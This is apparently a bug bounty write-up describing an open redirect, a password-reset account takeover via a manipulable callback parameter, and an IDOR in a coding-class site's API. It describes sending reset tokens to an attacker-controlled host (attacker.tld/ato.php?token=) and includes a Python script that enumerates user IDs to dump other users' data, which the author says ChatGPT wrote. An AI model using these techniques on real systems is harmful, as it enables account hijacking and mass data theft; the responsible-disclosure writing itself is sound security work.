BOOK THIS SPACE FOR AD
ARTICLE ADThe story of how I take over someone’s account by resetting the password.
Hello hacker!, After several days ago I shared Subdomain Takeover, this time Account Takeover in redacted.tld.
How am I interested in looking for bugs there?
I’m interested in looking for bugs there, because the startup/company has launched a new website or system to accommodate developers who want to learn, you could say it’s an online learning coding class system. and after I researched it, the main website page has a Hall of Fame, showing that it is aware of security. However, after I reported it, I didn’t know that the program had been closed for a long time (2 years maybe) but they still offered me rewards in the form of merchandise.
How do I find bugs?
I tried registering an account at redacted.tld without paying attention to the burp history, then I got a link to confirm the account. where the link has a callback parameter with the value redacted.tld (callback=redacted.tld) whose function is to redirect to the main domain.
So far we have found an open redirect vulnerability, this was proven when we replaced it with evil.com. But what is the impact? I’ve tried various tricks and still can’t steal sessions, cookies, etc.
Account Takeover
Still using the previous loophole, but this is in the password reset feature. It turns out that the callback in the activation link is also used here. It is in the request and can be manipulated. But before that you can see the default request & response without manipulation (Figure 5).
How to steal user tokens?
I use beeceptor, which is usually Burp Collaborator, etc. to get information from the link that the user clicks (token). Just change the callback value with the beeceptor url. and wait for the user to click then I as the attacker have a token to change the password.
How to make onclick account takeover?
With the previous conditions above, we agree that the scenario for changing the password must wait for the user to click and we manually copy the token to the original endpoint then change the password.
But I have another way to make it an onclick account takeover.
1. Save request when setting new password
2. Create a php script with the logic of getting a token from get and passing the token to the request set password.
3. Example: attacker.tld/ato.php?token=
4. Users simply access the link and the password is automatically changed.
What’s worse? I can use the IDOR below to get the emails of all users.
Insecure Direct Object References (IDOR)
Then I wandered around the dashboard (trying out the existing features) until I got to the profile page in burp I saw the history of hit to api https://apps.redacted.com/api/entry/detail/secondapp/{id} The api has a response that displays the user’s information, and when I change the ID it can display the other user’s information as well.
Without further ado, I immediately called ChatGPT help to make me a script to display all user information in Python. (like Intruder)
import threading
def get_and_save_response(id):
url = f"https://apps.redacted.com/api/entry/detail/secondapp/{id}"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Authorization': 'eyJ0e{my_jwt}',
'Origin': 'https://www.redacted.tld',
'Referer': 'https://www.redacted.tld/',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'cross-site',
'Te': 'trailers'
}
response = requests.get(url, headers=headers)
if response.status_code == 200:
response_json = response.json()
with open('file.txt', 'a') as file:
file.write(f"ID: {id}\n")
file.write(str(response_json) + "\n\n")
print(f"Sucsessful take user info. ID {id} ")
else:
print(f"Failed to take user info {id}. Status Code: {response.status_code}")
def thread_function(start_id, end_id):
for id in range(start_id, end_id):
get_and_save_response(id)
num_threads = 4
thread_list = []
for i in range(num_threads):
start_id = i * (4000 // num_threads)
end_id = (i + 1) * (4000 // num_threads)
thread = threading.Thread(target=thread_function, args=(start_id, end_id))
thread_list.append(thread)
thread.start()
for thread in thread_list:
thread.join()
print("Done.")
And boom, I succeeded in simulating how a data breach occurred due to IDOR
Conclusion
Take advantage of other bugs to get more impact, don’t rush to report it when you feel the impact is not enough. then try reporting by creating a script / exploit that helps them make it easier to reproduce our findings, that can be a plus as well as practicing coding.
Done, thanks for reading.